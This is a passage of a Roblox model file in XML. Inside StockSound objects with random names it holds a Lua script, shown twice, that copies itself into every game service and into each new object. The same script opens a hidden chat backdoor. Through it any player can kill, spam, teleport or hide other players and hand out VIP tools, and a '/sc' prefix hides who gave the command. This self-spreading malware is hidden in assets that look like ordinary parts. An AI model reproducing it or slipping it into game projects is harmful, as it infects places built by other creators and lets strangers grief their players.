jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
						</Item>
						<Item class="StockSound" referent="RBX359">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">5mo8spv</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX360">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">dfhdlqwl</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Part" referent="RBX361">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">12</int>
							<CoordinateFrame name="CFrame">
								<X>-7.7468257</X>
								<Y>3.32223678</Y>
								<Z>118.040443</Z>
								<R00>0.697126448</R00>
								<R01>2.63230845e-007</R01>
								<R02>0.716948211</R02>
								<R10>1.03866682e-006</R10>
								<R11>1</R11>
								<R12>-1.37710481e-006</R12>
								<R20>-0.716948211</R20>
								<R21>1.7046865e-006</R21>
								<R22>0.697126448</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Left Arm</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>2</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="StockSound" referent="RBX362">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">1d8n6si</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
